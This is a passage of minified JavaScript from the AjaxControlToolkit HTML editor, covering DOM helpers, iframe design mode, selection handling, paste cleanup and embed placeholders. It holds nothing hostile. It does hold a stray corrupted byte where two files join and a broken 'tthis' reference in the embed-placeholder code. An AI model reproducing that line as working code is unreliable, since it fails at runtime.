if(a.nextSibling)e.insertBefore(c,a.nextSibling);else e.appendChild(c);return c}}a=d?a.lastChild:a.firstChild;if(a){var i=AjaxControlToolkit.HTMLEditor.positionInParagraphLevel(c,a,d,g);if(i!=null)return i}a=j}return null};AjaxControlToolkit.HTMLEditor._addEvent=function(a,b,c){if(a.attachEvent)a.attachEvent("on"+b,c);else a.addEventListener&&a.addEventListener(b,c,true)};AjaxControlToolkit.HTMLEditor._addEvents=function(d,b,c){for(var a=0;a<b.length;a++)AjaxControlToolkit.HTMLEditor._addEvent(d,b[a],c)};AjaxControlToolkit.HTMLEditor._removeEvent=function(a,b,c){if(a.detachEvent)a.detachEvent("on"+b,c);else a.removeEventListener&&a.removeEventListener(b,c,true)};AjaxControlToolkit.HTMLEditor._removeEvents=function(d,b,c){for(var a=0;a<b.length;a++)AjaxControlToolkit.HTMLEditor._removeEvent(d,b[a],c)};AjaxControlToolkit.HTMLEditor._stopEvent=function(a){if(a)if(AjaxControlToolkit.HTMLEditor.isIE){a.cancelBubble=true;a.returnValue=false}else{a.preventDefault();a.stopPropagation()}};AjaxControlToolkit.HTMLEditor.restrictedTags=["DIV","P","TD","TR","TABLE","TBODY","LI","OL","UL","FORM","INPUT"];AjaxControlToolkit.HTMLEditor.isRestricted=function(b){for(var c=b.tagName.toUpperCase(),a=0;a<AjaxControlToolkit.HTMLEditor.restrictedTags.length;a++)if(AjaxControlToolkit.HTMLEditor.restrictedTags[a].toUpperCase()==c)return true;if(AjaxControlToolkit.HTMLEditor.isIE&&b.scopeName.toUpperCase()!="HTML")return true;return false};AjaxControlToolkit.HTMLEditor.jsDocument=function(c){var a="\n",b=this;b.noExtraLf=typeof c!="undefined"&&c;b.text=[];b.write=function(c){var b=this;if(!b.noExtraLf||b.text.length==0&&c!=a||b.text.length>0&&(b.text[b.text.length-1]!=a||c!=a))b.text[b.text.length]=c};b.append=b.write;b.writeln=function(b){this.text[this.text.length]=b+a};b.toString=function(){return this.text.join("")};b.clear=function(){delete this.text;this.text=null;this.text=[]}};AjaxControlToolkit.HTMLEditor.isHeader=function(b){var a=b.tagName.toUpperCase();if(a.length==2)if(a.substr(0,1)=="H"&&parseInt(a.substr(1,1))>0)return true;return false};AjaxControlToolkit.HTMLEditor._getReallyFirst=function(a){var b="undefined";if(typeof a.firstChild!=b&&a.firstChild!=null)if(typeof a.firstChild.childNodes!=b&&a.firstChild.childNodes!=null)return AjaxControlToolkit.HTMLEditor._getReallyFirst(a.firstChild);return a};AjaxControlToolkit.HTMLEditor._getReallyLast=function(a){var b="undefined";if(typeof a.lastChild!=b&&a.lastChild!=null)if(typeof a.lastChild.childNodes!=b&&a.lastChild.childNodes!=null)return AjaxControlToolkit.HTMLEditor._getReallyLast(a.lastChild);return a};AjaxControlToolkit.HTMLEditor._reallyFirst=function(a,b){if(a.firstChild){if(a.firstChild==b)return true;if(a.firstChild.childNodes)if(AjaxControlToolkit.HTMLEditor._lookChild(a.firstChild,b)==0)return AjaxControlToolkit.HTMLEditor._reallyFirst(a.firstChild,b)}return false};AjaxControlToolkit.HTMLEditor._reallyLast=function(a,b){if(a.lastChild){if(a.lastChild==b)return true;if(a.lastChild.childNodes)if(AjaxControlToolkit.HTMLEditor._lookChild(a.lastChild,b)==a.lastChild.childNodes.length-1)return AjaxControlToolkit.HTMLEditor._reallyLast(a.lastChild,b)}return false};AjaxControlToolkit.HTMLEditor.getContainer=function(b,c){if(c==b)return b;if(b.nodeType==1)for(var d=0;d<b.childNodes.length;d++){var a=b.childNodes.item(d);if(c==a)return a;if(a.nodeType==1){var e=AjaxControlToolkit.HTMLEditor._lookChild(a,c);if(e>=0)if(a.tagName&&AjaxControlToolkit.HTMLEditor.isStyleTag(a.tagName)&&a.tagName.toUpperCase()!="A"&&!AjaxControlToolkit.HTMLEditor.isTempElement(a))return AjaxControlToolkit.HTMLEditor.getContainer(a,c);else return a}}return null};AjaxControlToolkit.HTMLEditor._TryTransformFromPxToPt=function(h,f,g){var c=h.replace(/^(\d+)\.(\d+)px/i,"$1px");if(!AjaxControlToolkit.HTMLEditor.isIE)if(c&&c.length>0){var d=c.toLowerCase().split(",")[0];if(typeof g!="undefined"){var e=document.getElementById(g);if(e!=null){for(var a=0;a<e.options.length;a++){var i=AjaxControlToolkit.HTMLEditor.fontSizeSeek(e.options.item(a).value.toLowerCase().split(",")[0]);if(i==d)break}if(a==e.options.length){var b=f._doc.createElement("SPAN");f._doc.body.appendChild(b);for(a=1;a<100;a++){b.style.fontSize=a+"pt";if(AjaxControlToolkit.HTMLEditor.getStyle(b,"font-size").replace(/^(\d+)\.(\d+)px/i,"$1px")==d){d=a+"pt";break}}b.parentNode.removeChild(b)}}}c=d}return c};AjaxControlToolkit.HTMLEditor.fontSizeSeek=function(b){var a=b.toString();switch(a){case "1":a="8pt";break;case "2":a="10pt";break;case "3":a="12pt";break;case "4":a="14pt";break;case "5":a="18pt";break;case "6":a="24pt";break;case "7":a="36pt"}return a};AjaxControlToolkit.HTMLEditor.getOwnerDocument=function(a){return a.nodeType==9?a:a.ownerDocument||a.document};AjaxControlToolkit.HTMLEditor.getClientViewportElement=function(b){var a;if(b.nodeType==9)a=b;else a=AjaxControlToolkit.HTMLEditor.getOwnerDocument(b);if(AjaxControlToolkit.HTMLEditor.isIE&&a.compatMode!="CSS1Compat")return a.body;return a.documentElement};AjaxControlToolkit.HTMLEditor.isReallyVisible=function(c){var a=c,b=true;while(a){if(a.style&&AjaxControlToolkit.HTMLEditor.getStyle(a,"display")=="none"){b=false;break}a=a.parentNode}return b};AjaxControlToolkit.HTMLEditor.setSelectionRange=function(a,c,e){var d="character";a.focus();if(a.setSelectionRange)a.setSelectionRange(c,e);else if(a.createTextRange){var b=a.createTextRange();b.collapse(true);b.moveEnd(d,e);b.moveStart(d,c);b.select()}};AjaxControlToolkit.HTMLEditor.setElementVisibility=function(e){var d=[],a=e;while(a&&a.nodeType==1&&a.tagName.toUpperCase()!="BODY"){var c=a.style.display,b=a.style.visibility;if(a.style&&(c=="none"||b=="hidden")){d.push({element:a,display:c,visibility:b});a.style.display="";a.style.visibility="visible"}a=a.parentNode}return d};AjaxControlToolkit.HTMLEditor.restoreElementVisibility=function(d){for(var b=0;b<d.length;b++){var a=d[b],c=a.element.style;c.display=a.display;c.visibility=a.visibility}};if(!AjaxControlToolkit.HTMLEditor.isIE)try{AjaxControlToolkit.HTMLEditor.__MozillaGetInnerText=function(g,b){for(var d=g.childNodes,c=0;c<d.length;c++){var a=d[c];a.nodeType==3&&b.write(a.nodeValue.replace("\n",""));if(a.nodeType==1){var f=AjaxControlToolkit.HTMLEditor.getStyle(a,"display"),e=AjaxControlToolkit.HTMLEditor.getStyle(a,"visibility");AjaxControlToolkit.HTMLEditor.__needLineBreakBefore(a)&&b.write("\n");AjaxControlToolkit.HTMLEditor.__needTabBefore(a)&&b.write("\t");f!="none"&&e!="hidden"&&AjaxControlToolkit.HTMLEditor.__MozillaGetInnerText(a,b);AjaxControlToolkit.HTMLEditor.__needLineBreakAfter(a)&&b.write("\n")}}};AjaxControlToolkit.HTMLEditor.__needLineBreakBefore=function(b){var a=" div table p pre ol ul blockquote form fieldset ";return a.indexOf(" "+b.tagName.toLowerCase()+" ")!=-1};AjaxControlToolkit.HTMLEditor.__needLineBreakAfter=function(b){var a=" br div table tr p pre ol ul li hr blockquote form fieldset legend ";return a.indexOf(" "+b.tagName.toLowerCase()+" ")!=-1};AjaxControlToolkit.HTMLEditor.__needTabBefore=function(b){var a=" td li ";return a.indexOf(" "+b.tagName.toLowerCase()+" ")!=-1}}catch(a){};G�Type.registerNamespace("AjaxControlToolkit.HTMLEditor");AjaxControlToolkit.HTMLEditor.DesignPanel=function(d){var c=false,b=null,a=this;AjaxControlToolkit.HTMLEditor.DesignPanel.initializeBase(a,[d]);a._doc=b;a._updated_now=c;a._updateTimer=b;a._popup=b;a._contextElement=b;a._a_prize=c;a.__stack=b;a._StyleForTyping=b;a.isWord=c;a.isPlainText=c;a.dfltBlockElement="P";a._FontNotSet=true;a._design_timer1=b;a._events$delegate=Function.createDelegate(a,AjaxControlToolkit.HTMLEditor.DesignPanelEventHandler);a._blur$delegate=Function.createDelegate(a,a._blur);a._focus$delegate=Function.createDelegate(a,a._focus_event)};AjaxControlToolkit.HTMLEditor.DesignPanel.prototype={initialize:function(){AjaxControlToolkit.HTMLEditor.DesignPanel.callBaseMethod(this,"initialize")},dispose:function(){AjaxControlToolkit.HTMLEditor.DesignPanel.callBaseMethod(this,"dispose")},_activate:function(b){var a=this;AjaxControlToolkit.HTMLEditor.DesignPanel.callBaseMethod(a,"_activate");a._wasFocused=false;a._initIframe(b);a._onDocumentLoaded()},_deactivate:function(){var a=this;a._deactivateCommon();if(AjaxControlToolkit.HTMLEditor.isIE){a._doc.open();a._doc.write("");a._doc.close();a.get_element().src="javascript:false;"}a._doc=null;AjaxControlToolkit.HTMLEditor.DesignPanel.callBaseMethod(a,"_deactivate")},_deactivateCommon:function(){var a=this;a._editPanel.__blured=false;for(var c=a._doc.body.getElementsByTagName("IMG"),b=0;b<c.length;b++)if(c[b].getAttribute(AjaxControlToolkit.HTMLEditor.attachedIdAttribute)&&c[b].getAttribute(AjaxControlToolkit.HTMLEditor.attachedIdAttribute).length>0)try{if(AjaxControlToolkit.HTMLEditor.isIE)$removeHandler(c[b],"dragstart",AjaxControlToolkit.HTMLEditor.stopDrag);else $removeHandler(c[b],"draggesture",AjaxControlToolkit.HTMLEditor.stopDrag)}catch(d){}AjaxControlToolkit.HTMLEditor._removeEvents(a._doc,["keydown","keypress","mousedown","mouseup","dblclick"],a._events$delegate);AjaxControlToolkit.HTMLEditor._removeEvents(a.get_element().contentWindow,["blur"],a._blur$delegate);AjaxControlToolkit.HTMLEditor._removeEvents(a.get_element().contentWindow,["focus"],a._focus$delegate)},_initIframe:function(b){var a=this;if(!AjaxControlToolkit.HTMLEditor.isIE){a._savedValue=b;a._absAndFixedParents=a._getAbsAndFixedParents()}var c=AjaxControlToolkit.HTMLEditor.Trim(a._prepareContent(b));a._doc=a.get_element().contentWindow.document;if(!AjaxControlToolkit.HTMLEditor.isIE)a._doc.designMode="on";a._doc.open();a._doc.write('<html><head><link rel="stylesheet" href="'+a._editPanel.get_documentCssPath()+'" media="all" /><link rel="stylesheet" href="'+a._editPanel.get_designPanelCssPath()+'" media="all" /></head><body>'+c+"</body></html>");a._doc.close();a._doc.id="EditorDocument";if(AjaxControlToolkit.HTMLEditor.isIE){a._doc.body.contentEditable=true;a._tryForward=true}},_blur:function(b){var a=this;a._editPanel.__blured=true;if(!AjaxControlToolkit.HTMLEditor.isIE&&a._design_timer1!=null){clearTimeout(a._design_timer1);a._design_timer1=null}!a.isPopup&&a._editPanel._validate(b,null);return true},_focus_event:function(){var a=this;a._editPanel.__blured=false;if(AjaxControlToolkit.HTMLEditor.isIE)a._really_focused();else{var b=a;AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel=a._editPanel;if(a._design_timer1==null)a._design_timer1=setTimeout(function(){b._really_focused();b._design_timer1=null},0)}return true},_getAbsAndFixedParents:function(){var a=this.get_element(),b="";while(a!=null&&a.tagName&&a.tagName.toLowerCase()!="body"){b+=a.tagName;if(a.style.position=="absolute"||a.style.position=="fixed")b+=": "+a.style.position;b+="\n";a=a.parentNode}return b},_onDocumentLoaded:function(){var a=this,b=a;if(!AjaxControlToolkit.HTMLEditor.isIE){var c=a._getAbsAndFixedParents();if(c!=a._absAndFixedParents){a._initIframe(a._savedValue);setTimeout(function(){b._onDocumentLoaded()},10);return}}try{if(!AjaxControlToolkit.HTMLEditor.isIE){a._doc.queryCommandValue("forecolor");if(AjaxControlToolkit.HTMLEditor.isSafari||AjaxControlToolkit.HTMLEditor.isOpera)if(!AjaxControlToolkit.HTMLEditor.isReallyVisible(a.get_element())){setTimeout(function(){b._onDocumentLoaded()},10);return}}var d=b._doc.body.innerHTML}catch(e){setTimeout(function(){b._onDocumentLoaded()},10);return}a._afterBodyIsFormed();setTimeout(function(){b._activateFinished();AjaxControlToolkit.HTMLEditor.isIE&&!b._editPanel.get_autofocus()&&b._getSelection().empty()},0)},_afterBodyIsFormed:function(){var b=this,d=b;AjaxControlToolkit.HTMLEditor._addEvents(b._doc,["keydown","keypress","mousedown","mouseup","dblclick"],b._events$delegate);AjaxControlToolkit.HTMLEditor._addEvents(b.get_element().contentWindow,["blur"],b._blur$delegate);AjaxControlToolkit.HTMLEditor._addEvents(b.get_element().contentWindow,["focus"],b._focus$delegate);AjaxControlToolkit.HTMLEditor.inspectForShadows(d._doc.body);var a=b._doc.body;if(a.childNodes.length==1&&a.firstChild.tagName&&a.firstChild.tagName.toUpperCase()=="DIV"&&a.firstChild.style.cssText.length>0&&a.firstChild.style.direction.length>0&&AjaxControlToolkit.HTMLEditor.getStyle(a.firstChild,"position")!="absolute"){a.style.cssText=a.firstChild.style.cssText;var c=a.firstChild;while(c.firstChild)a.insertBefore(c.firstChild,c);a.removeChild(c)}d._clearP()},_getContent:function(){var v="pseudomode",u="dummybgcolor",t="dummysrc",s="dummytag",f="$1$3",r="$1<br/>$3",b=this;if(b._popup!=null)if(typeof b._popup._forceImClose=="function"){var y=b._popup._forceImClose;y(b._popup._iframe.contentWindow)}b._clearP();var a;if(AjaxControlToolkit.HTMLEditor.isIE){AjaxControlToolkit.HTMLEditor.spanJoiner(b._doc.body,b._doc);a=AjaxControlToolkit.HTMLEditor.getHTML(b._doc.body,false,true);a=a.replace(/(<td[^>]*?>)([\s ]*?)(<\/td[^>]*?>)/ig,"$1&nbsp;$3").replace(/(<td[^>]*?>)\s*(&nbsp;)\s*(<\/td[^>]*?>)/ig,r).replace(/(<p[^>]*?>)\s*(&nbsp;)\s*(<\/p[^>]*?>)/ig,r);a=(b._doc.body.style.cssText.length>0?'<div style="'+b._doc.body.style.cssText.replace('"',"'")+'">':"")+a+(b._doc.body.style.cssText.length>0?"</div>":"");if(b._editPanel.get_noScript())a=a.replace(/(<script(?:[^>]*?)>(?:[^<]*?)<\/script(?:[^>]*?)>)/gi,"");if(/<embed/ig.test(a))a=a.replace(/(<embed(?:.*?))(\sloop=\"true\")((?:.*?)>)/ig,f).replace(/(<embed(?:.*?))(\splay=\"true\")((?:.*?)>)/ig,f).replace(/(<embed(?:.*?))(\sbgcolor=\"\")((?:.*?)>)/ig,f).replace(/(<embed(?:.*?))(\sscale=\"\")((?:.*?)>)/ig,f).replace(/(<embed(?:.*?))(\shspace=\"0\")((?:.*?)>)/ig,f).replace(/(<embed(?:.*?))(\svspace=\"0\")((?:.*?)>)/ig,f).replace(/(<embed(?:.*?))(\swmode=\"[^\"]+\")((?:.*?)>)/ig,f).replace(/(<embed(?:.*?))(pseudomode=)(\"[^\"]*\")((?:.*?)>)/ig,"$1wmode=$3$4").replace(/(<embed(?:.*?))(\swmode=\"\")((?:.*?)>)/ig,f);var x=new RegExp("(<[/]?)(teo"+AjaxControlToolkit.HTMLEditor.smartClassName+":)","ig");a=a.replace(x,"$1")}else{var h=b._doc.createElement("DIV"),q=new AjaxControlToolkit.HTMLEditor.DesignPanel.ScriptRecover;h.style.cssText=b._doc.body.style.cssText;!b._editPanel.get_noScript()&&b._doc.body.innerHTML.replace(/<script(?:[^>]*?)>(.*?)<\/script(?:[^>]*?>)/gi,function(a,b){return q.regReplScript1(a,b)});h.innerHTML=AjaxControlToolkit.HTMLEditor.Trim(b._doc.body.innerHTML);for(var p=h.getElementsByTagName("IMG"),l=[],i=0;i<p.length;i++)l.push(p[i]);for(var o=0;o<l.length;o++){var c=l[o],k;k=c.getAttribute(s);if(k&&k.length>0&&k.toLowerCase()=="embed"){var z=c.getAttribute(t),j=c.getAttribute(u),m=c.getAttribute(v),w=c.attributes,e=b._doc.createElement("EMBED");e.src=z;e.width=c.width;e.height=c.height;if(j&&j.length>0){j=AjaxControlToolkit.HTMLEditor.tryReplaceRgb(j);e.setAttribute("bgcolor",j)}m&&m.length>0&&e.setAttribute("wmode",m);for(var i=0;i<w.length;++i){var n=w.item(i);if(!n.specified)continue;var d=n.name.toLowerCase(),g=n.value;if(d==s||d==t||d==u||d=="style"||d=="wmode"||d==v||d=="src")continue;if(d=="loop"&&g=="true")continue;if(d=="play"&&g=="true")continue;if(d=="hspace"&&g=="0")continue;if(d=="vspace"&&g=="0")continue;if(d=="scale"&&g.length==0)continue;if(d=="align"&&g.length==0)continue;e.setAttribute(d,g)}if(c.style.width&&c.style.width.length>0)e.style.width=c.style.width;if(c.style.height&&c.style.height.length>0)e.style.height=c.style.height;c.parentNode.insertBefore(e,c);c.parentNode.removeChild(c)}}AjaxControlToolkit.HTMLEditor.spanJoiner(h,b._doc);a=AjaxControlToolkit.HTMLEditor.getHTML(h,h.style.cssText.length>0?true:false,true);if(!b._editPanel.get_noScript())a=a.replace(/(<script(?:[^>]*?)>)(.*?)(<\/script(?:[^>]*?)>)/gi,function(a,b,c,d){return q.regReplFromScript1(a,b,c,d)});else a=a.replace(/(<script(?:[^>]*?)>(?:[^<]*?)<\/script(?:[^>]*?)>)/gi,"");delete h}a=AjaxControlToolkit.HTMLEditor.brXHTML(a.replace(/^([\n|\r]+)/,""));if(b._editPanel.get_noUnicode())a=a.replace(/([\u0080-\uFFFF])/g,function(b,a){return "&#"+a.charCodeAt(0).toString(10)+";"});if(AjaxControlToolkit.HTMLEditor.Trim(a)=="<br />")a="";return a},_setContent:function(b){var a=this;a._deactivateCommon();var c=AjaxControlToolkit.HTMLEditor.Trim(a._prepareContent(b));a._doc.open();a._doc.write('<html><head><link rel="stylesheet" href="'+a._editPanel.get_documentCssPath()+'" media="all" /><link rel="stylesheet" href="'+a._editPanel.get_designPanelCssPath()+'" media="all" /></head><body>'+c+"</body></html>");a._doc.close();if(AjaxControlToolkit.HTMLEditor.isIE){a._doc.body.contentEditable=true;a._tryForward=true}a._afterBodyIsFormed();a._editPanel.get_autofocus()&&a._focus();AjaxControlToolkit.HTMLEditor.isIE&&!a._editPanel.get_autofocus()&&a._getSelection().empty()},_focus:function(a){this.focusEditor();this._focused(a)},focusEditor:function(){var a=this;try{a.get_element().contentWindow.focus()}catch(b){}if(!a._wasFocused){a._wasFocused=true;!a._editPanel.get_startEnd()&&a._setToEnd()}},_prepareContent:function(o){var m="$1&nbsp;$3",g=this,a=o;a=a.replace(/<object(?:[^>]*?)>(?:[^\u0000]*?)(<embed(?:[^>]*?)>)(?:[^\u0000]*?)<\/object(?:[^>]*?)>/gi,"$1");if(AjaxControlToolkit.HTMLEditor.isIE){a=AjaxControlToolkit.HTMLEditor.Trim(a.replace(/([\n\r]+<)/g,"<").replace(/([^>])([\n\r]+)([^<])/g,"$1 $3")).replace(/(&amp;)/g,"&amp;amp;").replace(/<br\s*[\/]*>\s*<\/td>/ig,"</td>").replace(/(<td[^>]*?>)([\s ]*?)(<\/td[^>]*?>)/ig,m).replace(/(<p[^>]*?>)\s*(<br[^>]*?>)\s*(<\/p[^>]*?>)/ig,m);if(/<embed/ig.test(a))a=a.replace(/(<embed(?:.*?))(wmode=)(\"[^\"]*\")((?:.*?)>)/ig,"$1pseudomode=$3$4").replace(/(<embed)([^>]*?>)/ig,'$1 wmode="transparent"$2');a=a.replace(/&amp;/ig,"&");return a}else{var i=new AjaxControlToolkit.HTMLEditor.DesignPanel.ScriptRecover,f=document.createElement("DIV");!g._editPanel.get_noScript()&&a.replace(/<script(?:[^>]*?)>(.*?)<\/script(?:[^>]*?>)/gi,function(a,b){return i.regReplScript1(a,b)});f.innerHTML=AjaxControlToolkit.HTMLEditor.Trim(a.replace(/([^>])([\n\r]+)([^<])/g,"$1 $3"));for(var l=f.getElementsByTagName("EMBED"),h=[],e=0;e<l.length;e++)h.push(l[e]);for(var k=0;k<h.length;k++){var b=h[k],c=document.createElement("IMG"),n=b.attributes;c.src=g._editPanel.get_imagePath_1x1();c.setAttribute("dummytag","embed");for(var e=0;e<n.length;++e){var j=n.item(e);if(!j.specified)continue;var d=j.name.toLowerCase(),o=j.value;if(d=="src")d="dummysrc";else if(d=="bgcolor")d="dummybgcolor";else if(d=="wmode")d="pseudomode";c.setAttribute(d,o)}c.style.cssText="border: 1px dotted #000000; background-image: url('"+(c.getAttribute("type").toLowerCase()=="application/x-mplayer2"?g._editPanel.get_imagePath_media():tthis._editPanel.get_imagePath_flash())+"'); background-position: center; background-repeat: no-repeat; background-color: #c0c0c0;";if(b.style.width&&b.style.width.length>0)c.style.width=b.style.width;if(b.style.height&&b.style.height.length>0)c.style.height=b.style.height;b.parentNode.insertBefore(c,b);b.parentNode.removeChild(b)}AjaxControlToolkit.HTMLEditor.spanJoiner(f,document);a=AjaxControlToolkit.HTMLEditor.Trim(AjaxControlToolkit.HTMLEditor.getHTML(f,false,true));if(!g._editPanel.get_noScript())a=a.replace(/(<script(?:[^>]*?)>)(.*?)(<\/script(?:[^>]*?)>)/gi,function(a,b,c,d){return i.regReplFromScript1(a,b,c,d)});delete f;delete i;a=AjaxControlToolkit.HTMLEditor.brXHTML(a);if(a.length==0)a="<br/>";return a}},_clearP:function(){var b=true;try{var a=this._doc.body;if(a.firstChild)if(a.firstChild.nodeType==3){var d=AjaxControlToolkit.HTMLEditor.Trim(""+a.firstChild.data+"");if(d.length==0)a.removeChild(a.firstChild);else if(d!=""+a.firstChild.data+"")a.firstChild.data=d}if(AjaxControlToolkit.HTMLEditor.isIE)if(a.childNodes.length==1){a=a.firstChild;if(a.nodeType==1){var c=a.tagName.toLowerCase();if(c=="p"||c=="ul"||c=="ol"){var f=false,g=c=="ul"||c=="ol";function e(a){var d=false;if(a.nodeType==1){var c=a.tagName.toUpperCase();if(!(g&&c=="LI"))if(AjaxControlToolkit.HTMLEditor.isRestricted(a)||c=="IMG"||c=="IFRAME"||c=="EMBED"||c=="SCRIPT")return b;if(a.childNodes.length>1)return b;if(a.childNodes.length==0)return false;d|=e(a.firstChild)}else if(a.nodeType==3)d|=b;return d}if(a.childNodes.length==1)if(!e(a.firstChild)){a.removeChild(a.firstChild);f=b}(f||a.parentNode.innerHTML.toLowerCase()=="<p>&nbsp;</p>")&&this._doc.body.removeChild(a)}}}}catch(h){}},isControl:function(){var b=false;try{var d=this._getSelection();if(AjaxControlToolkit.HTMLEditor.isIE)if(d.type.toLowerCase()=="control")return true;else return b;else{var a=this._createRange(d),c=this._getParent(a);if(c.nodeType!=3&&a.startContainer==a.endContainer){if(!c.tagName)return b;if(a.startContainer.childNodes.item(a.startOffset)==null)return b;if(a.startOffset==a.endOffset&&a.startContainer.childNodes.item(a.startOffset).tagName&&(a.startContainer.childNodes.item(a.startOffset).tagName.toUpperCase()=="BR"||AjaxControlToolkit.HTMLEditor.isStyleTag(a.startContainer.childNodes.item(a.startOffset).tagName)))return b;if(c.tagName.toUpperCase()=="BODY"&&a.startOffset==0&&a.endOffset>0&&a.endOffset==c.childNodes.length)return b;if(a.startOffset==a.endOffset&&a.startContainer.childNodes.item(a.startOffset).nodeType==3)return b;return true}else return b}}catch(e){return true}},isPopup:function(){return this._popup!=null},_getSelection:function(){var a=this;if(AjaxControlToolkit.HTMLEditor.isIE){var b=a._doc.selection;return b}else{a.focusEditor();var b,c,d,e=a.get_element().contentWindow;b=e.getSelection();c=a._createRange(b);d=c.startContainer;try{while(d&&d.nodeType)d=d.parentNode}catch(f){a._removeAllRanges(b);c=a._createRange(b);c.setStart(a._saved_startContainer,a._saved_startOffset);c.setEnd(a._saved_startContainer,a._saved_startOffset);a._selectRange(b,c);b=e.getSelection()}return b}},_createRange:function(b){var c="undefined",a=this;if(AjaxControlToolkit.HTMLEditor.isIE)if(typeof b==c)return a._doc.body.createTextRange();else return b.createRange();else{a.focusEditor();if(typeof b==c)return a._doc.createRange();else try{var d=b.getRangeAt(0);return d}catch(e){return a._doc.createRange()}}},toEndOfProtected:function(){var e=null,c=this,g=this._getSelection(),b;try{b=this._createRange(g)}catch(h){return false}var a;if(!AjaxControlToolkit.HTMLEditor.isIE){a=AjaxControlToolkit.HTMLEditor.contentEditable(b.startContainer);if(a==e)a=AjaxControlToolkit.HTMLEditor.contentEditable(b.endContainer)}else a=AjaxControlToolkit.HTMLEditor.contentEditable(AjaxControlToolkit.HTMLEditor.getSelParent(c));if(AjaxControlToolkit.HTMLEditor.isIE&&a!=e){try{b.remove(a)}catch(h){}b=c._doc.body.createControlRange();b.add(a);b.select()}else if(!AjaxControlToolkit.HTMLEditor.isIE&&a!=e){var f=c._getSelection(),d;if(a.nextSibling!=e&&a.nextSibling.nodeType==3)d=a.nextSibling;else{d=c._doc.createTextNode("");if(a.nextSibling!=e)a.parentNode.insertBefore(d,a.nextSibling);else a.parentNode.appendChild(d)}c._removeAllRanges(f);var b=c._createRange(f);b.setStart(d,0);b.setEnd(d,0);c._selectRange(f,b)}return true},_commonPaste:function(h){var c=null,d=this,a=d;d._saveContent();if(AjaxControlToolkit.HTMLEditor.isIE){d.openWait();setTimeout(function(){a._paste(!a._editPanel.get_noPaste());a.closeWait()},0);AjaxControlToolkit.HTMLEditor._stopEvent(h)}else if(!d.isPlainText&&!d.isWord&&!d._editPanel.get_noPaste())setTimeout(function(){AjaxControlToolkit.HTMLEditor.operateAnchors(a,a._doc,!a._editPanel.get_showAnchors());AjaxControlToolkit.HTMLEditor.operatePlaceHolders(a,a._doc,!a._editPanel.get_showPlaceHolders());AjaxControlToolkit.HTMLEditor.inspectForShadows(a._doc.body);a._checkImages(a._doc.body);a.onContentChanged()},0);else{var e=a._getSafePlace();if(e!=c){var b=a._doc.createElement("div");b.style.display="inline";b.style.borderStyle="none";e.parentNode.insertBefore(b,e);b.appendChild(e);b.removeChild(e);b.innerHTML="xx";var g=a._getSelection(),f=a._createRange();a._removeAllRanges(g);f.setStart(b.firstChild,0);f.setEnd(b.firstChild,1);a._selectRange(g,f);a.openWait();setTimeout(function(){var i=b.parentNode;b.lastChild.deleteData(b.lastChild.length-1,1);if(a.isWord){b.innerHTML=AjaxControlToolkit.HTMLEditor.cleanUp(b.innerHTML);AjaxControlToolkit.HTMLEditor.replaceOldTags(b,a);AjaxControlToolkit.HTMLEditor.spanJoiner(b,a._doc)}else{var g=document.createElement("div");g.innerHTML=AjaxControlToolkit.HTMLEditor.cleanUp(b.innerHTML);var j=new AjaxControlToolkit.HTMLEditor.jsDocument(true);AjaxControlToolkit.HTMLEditor.__MozillaGetInnerText(g,j);b.innerHTML=j.toString().replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/\r/g,"").replace(/\n/g,"<br/>").replace(/\t/g,"&nbsp;");delete g}while(b.firstChild)i.insertBefore(b.firstChild,b);var e=c,d=c;if(b.nextSibling&&b.nextSibling.nodeType==3&&b.previousSibling&&b.previousSibling.nodeType==3){e=b.nextSibling;d=b.previousSibling}i.removeChild(b);var f=c;if(e!=c&&d!=c){f=d.data.length;d.data=""+d.data+""+e.data+"";e.parentNode.removeChild(e)}a.isWord=false;a.isPlainText=false;a.closeWait();if(f!=c){var k=a._getSelection(),h=a._createRange();a._removeAllRanges(k);h.setStart(d,f);h.setEnd(d,f);a._selectRange(k,h)}a.onContentChanged()},0)}else AjaxControlToolkit.HTMLEditor._stopEvent(h)}},_selectRange:function(b,a){b.addRange(a);this.focusEditor()},_selectRng:function(a){var d="character",b=this,g=b._getSelection();if(!AjaxControlToolkit.HTMLEditor.isIE){var h=b._doc.createRange();h.setStart(a[0],0);h.setEnd(a[a.length-1],(""+a[a.length-1].data+"").length);b._removeAllRanges(g);b._selectRange(g,h)}else{var c=b._createRange(g),e=b._createRange(g),i=b._doc.createElement("span"),f=b._doc.createElement("span");a[0].parentNode.insertBefore(i,a[0]);if(a[a.length-1].nextSibling)a[a.length-1].parentNode.insertBefore(f,a[a.length-1].nextSibling);else a[a.length-1].parentNode.appendChild(f);try{c.moveToElementText(i);var j=c.moveStart(d,1);c.moveStart(d,-j);e.moveToElementText(f);j=e.moveEnd(d,-1);e.moveEnd(d,-j);c.setEndPoint("EndToEnd",e);c.select()}catch(k){}a[0].parentNode.removeChild(i);a[a.length-1].parentNode.removeChild(f)}},_removeAllRanges:function(a){a.removeAllRanges()},_setToEnd:function(){var a=this;setTimeout(function(){a._setToEnd_();a._editPanel.updateToolbar()},0)},_setToEnd_:function(){var a=this;if(AjaxControlToolkit.HTMLEditor.isIE){var f=a._getSelection(),d=a._createRange(f);if(f.type.toLowerCase()!="control"){d.moveEnd("textedit",1);d.collapse(false)}d.select();a.focusEditor();return}var e=0,b=a._doc.body,c=null;if(b.lastChild&&b.lastChild.nodeType==3){b=b.lastChild;e=(""+b.data+"").length}else{var g=a._doc.createTextNode("");if(b.lastChild&&b.lastChild.nodeType==1&&b.lastChild.tagName.toUpperCase()=="BR")b.insertBefore(g,b.lastChild);else b.appendChild(g);b=g;e=0}var f=a._getSelection();a._removeAllRanges(f);var d=a._createRange();d.setStart(b,e);d.setEnd(b,e);a._selectRange(f,d);c!=null&&a._doc.body.removeChild(c);a.focusEditor();if(!AjaxControlToolkit.HTMLEditor.isSafari&&!AjaxControlToolkit.HTMLEditor.isOpera)try{var c=a._doc.createElement("button");c.style.width="0px";c.style.height="20px";a._doc.body.appendChild(c);c.focus();c.blur();a.focusEditor();a._doc.body.removeChild(c)}catch(h){}},isShadowed:function(){var b=this;if(!b.isControl())return false;var e=b._getSelection(),a=b._createRange(e),c;if(AjaxControlToolkit.HTMLEditor.isIE)c=a.item(0);else c=a.startContainer.childNodes.item(a.startOffset);if(c.tagName&&c.tagName.toUpperCase()=="IMG"&&c.getAttribute(AjaxControlToolkit.HTMLEditor.attachedIdAttribute)&&c.getAttribute(AjaxControlToolkit.HTMLEditor.attachedIdAttribute).length>0){var 